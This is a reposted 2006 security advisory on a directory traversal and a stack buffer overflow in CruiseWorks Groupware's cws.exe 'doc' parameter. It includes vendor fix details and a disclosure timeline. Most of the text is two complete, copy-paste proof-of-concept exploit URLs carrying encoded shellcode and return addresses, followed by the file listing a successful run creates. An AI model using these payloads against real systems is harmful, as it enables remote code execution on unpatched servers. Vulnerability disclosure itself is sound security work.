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The original article can be found at: http://vuln.sg/cruiseworks109d-en.html Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * CruiseWorks Groupware version 1.09c  * CruiseWorks Groupware version 1.09d Immune Systems:  * CruiseWorks Groupware version 1.09e This advisory discloses two vulnerabilities in CruiseWorks Groupware. 1) CruiseWorks cws.exe "doc" Parameter Directory Traversal CruiseWorks does not properly validate the "doc" parameter in "/scripts/cruise/cws.exe" before using it to retrieve files for display. This allows a malicious user to disclose the content of arbitrary files accessible to the web server process using directory traversal characters. 2) CruiseWorks cws.exe "doc" Parameter Buffer Overflow CruiseWorks does not properly validate the "doc" parameter in "/scripts/cruise/cws.exe" before using it to construct a path using the "sprintf()" function. This allows a malicious user to cause a stack-based buffer overflow and to execute code with privileges of the IIS IUSR_MACHINE account. Testing Notes: The buffer overflow vulnerability exists in cws.exe which is executed by IIS or other webserver as an external CGI process when a HTTP request is received. By supplying an overly long value to the "doc" parameter, cws.exe will crash. However, it is trickly to observe the buffer overflow since cws.exe will crash silently without activating the "Just In Time Debugger", and there is no time to manually attach Ollydbg to the cws.exe process before it crashes. For more information on how to observe and test the buffer overflow, see this page. Solution: Upgrade to CruiseWorks version 1.09e or newer, available at: http://www.kynos.co.jp/cruise/cws/cwsdownload_upinfo1_09e.html POC Exploit: The following POC will exploit the vulnerability to create files in the "\windows\temp\" or "\winnt\temp\" directory. It has been tested to work on English WinXP SP2 and Japanese Win2K SP4. NOTE: The shellcode will also sound the speaker continuously. Copy-and-paste this entire request to the browser addressbar after you logon to CruiseWorks. Remember to change the IP address Example Exploit 1 (requires logon): Note: Exploit 1 uses address of JMP ESI in ntdll.dll to return into the shellcode. http://192.168.1.111/Scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28 %8B%73%3C%8B%74%33%78%03%F3%8B%7E%20%03%FB%8B%4E%18%56%33%D2%8B %37%03%74%24%2C%33%DB%33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03 %D8%EB%F0%3B%5C%24%28%74%0B%83%C7%04%42%E2%DC%5E%33%C0%EB%1A %5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B%7E%1C%03%7C%24%28%8B %04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1%B1%30%64%8B %01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA%8A%5B%E8%80%FF %FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0 %C7%06%41%41%41%41%C7%46%04%42%42%42%42%C7%46%08%42%42%42 %42%33%DB%89%5E%0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51 %57%BB%A5%17%FF%7C%33%C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF %FF%58%58%33%DB%59%8B%D4%51%53%53%6A%02%53%53%53%52%FF%D0 %59%E2%CD%57%68%8E%4E%0E%EC%E8%13%FF%FF%FF%58%58%BB%AA%AA %6C%6C%C1%EB%10%53%68%33%32%2E%64%68%75%73%65%72%54%FF%D0 %8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58%58%6A%FF%FF%D0%57 %68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66%BB%E8%03%53 %FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58%FF%D0 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %63%15%f8%77%41%7C%3E%90%7C Example Exploit 2 (requires logon): Note: Exploit 2 uses address of CALL ESI in cws.exe to return into the shellcode. It should work on WinXP SP2 systems regardless of language. http://192.168.1.111/scripts/cruise/cws.exe?doc=%90%EB%5E%60%8B%5C%24%28%8B%73%3C%8B %74%33%78%03%F3%8B%7E%20%03%FB%8B%4E%18%56%33%D2%8B%37%03%74%24%2C%33%DB %33%C0%AC%85%C0%74%09%C1%CB%0C%D1%CB%03%D8%EB%F0%3B%5C%24%28%74%0B%83 %C7%04%42%E2%DC%5E%33%C0%EB%1A%5E%8B%7E%24%03%7C%24%28%66%8B%04%57%8B %7E%1C%03%7C%24%28%8B%04%87%01%44%24%28%61%C3%8B%EC%33%C9%B1%C8%2B%E1 %B1%30%64%8B%01%8B%40%0C%8B%70%1C%AD%8B%78%08%57%68%33%CA%8A%5B%E8%80 %FF%FF%FF%58%58%33%C9%66%B9%90%01%2B%E1%54%51%FF%D0%8B%F4%03%F0%C7%06 %41%41%41%41%C7%46%04%42%42%42%42%C7%46%08%42%42%42%42%33%DB%89%5E %0C%33%C9%B1%14%B8%01%01%01%01%01%46%08%51%57%BB%A5%17%FF%7C%33 %C0%B0%FF%C1%E0%10%33%D8%53%E8%33%FF%FF%FF%58%58%33%DB%59%8B%D4 %51%53%53%6A%02%53%53%53%52%FF%D0%59%E2%CD%57%68%8E%4E%0E%EC%E8 %13%FF%FF%FF%58%58%BB%AA%AA%6C%6C%C1%EB%10%53%68%33%32%2E%64%68 %75%73%65%72%54%FF%D0%8B%F0%56%68%57%A0%B5%BB%E8%EE%FE%FF%FF%58 %58%6A%FF%FF%D0%57%68%B0%49%2D%DB%E8%DD%FE%FF%FF%58%58%33%DB%66 %BB%E8%03%53%FF%D0%EB%D7%57%68%7E%D8%E2%73%E8%C5%FE%FF%FF%58%58 %FF%D0%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41 %41%41%41%41%41%63%15%f8%77%41%7D%C3%40 Successful exploit will create the following files in the Windows temp directory. E:\WINDOWS\Temp>dir/w  Volume in drive E has no label.  Volume Serial Number is CC58-3912  Directory of E:\WINDOWS\Temp [.] [..] AAAABBBBCCCC AAAABBBBDDDD AAAABBBBEEEE AAAABBBBFFFF AAAABBBBGGGG AAAABBBBHHHH AAAABBBBIIII AAAABBBBJJJJ AAAABBBBKKKK AAAABBBBLLLL AAAABBBBMMMM AAAABBBBNNNN AAAABBBBOOOO AAAABBBBPPPP AAAABBBBQQQQ AAAABBBBRRRR AAAABBBBSSSS AAAABBBBTTTT AAAABBBBUUUU AAAABBBBVVVV               20 File(s) 0 bytes                2 Dir(s) 7,973,191,680 bytes free Disclosure Timeline: 2006-07-19 - Vulnerability Discovered. 2006-07-20 - Initial Vendor Notification by Email (no reply). 2006-07-21 - Second Vendor Notification by Email (no reply). 2006-07-25 - Third Vendor Notification by Web Form (no reply). 2006-07-26 - Fourth Vendor Notification by Email (no reply). 2006-07-31 - Vulnerability reported to JPCERT/CC. 2006-08-14 - Additional information with updated POC exploit sent to JPCERT/CC. 2006-10-24 - Coordinated Public Disclosure.  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Novell Zenworks Software Packaging LaunchHelp.dll Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Microsoft Internet Explorer swapNode Handling Code Execution Vulnerability Microsoft Internet Explorer Select Element Insufficient Type Checking Code Execution Vulnerability Internet Explorer Select Element Cache Code Execution Vulnerability Microsoft Office Graph DataFormat Signed Index Code Execution Vulnerability Microsoft Office Excel Conditional Expression Ptg Type Confusion Vulnerability Microsoft Internet Explorer Protected Mode Bypass Vulnerability Microsoft Internet Explorer 9 STYLE Object Parsing Code Execution Vulnerability Microsoft Internet Explorer XSLT SetViewSlave Code Execution Vulnerability CA Total Defense Suite Gateway Security Malformed HTTP Packet Code Execution Vulnerability HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Code Execution Vulnerability TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability Symantec Veritas Storage Foundation vxsvc.exe Unicode Code Execution Vulnerability HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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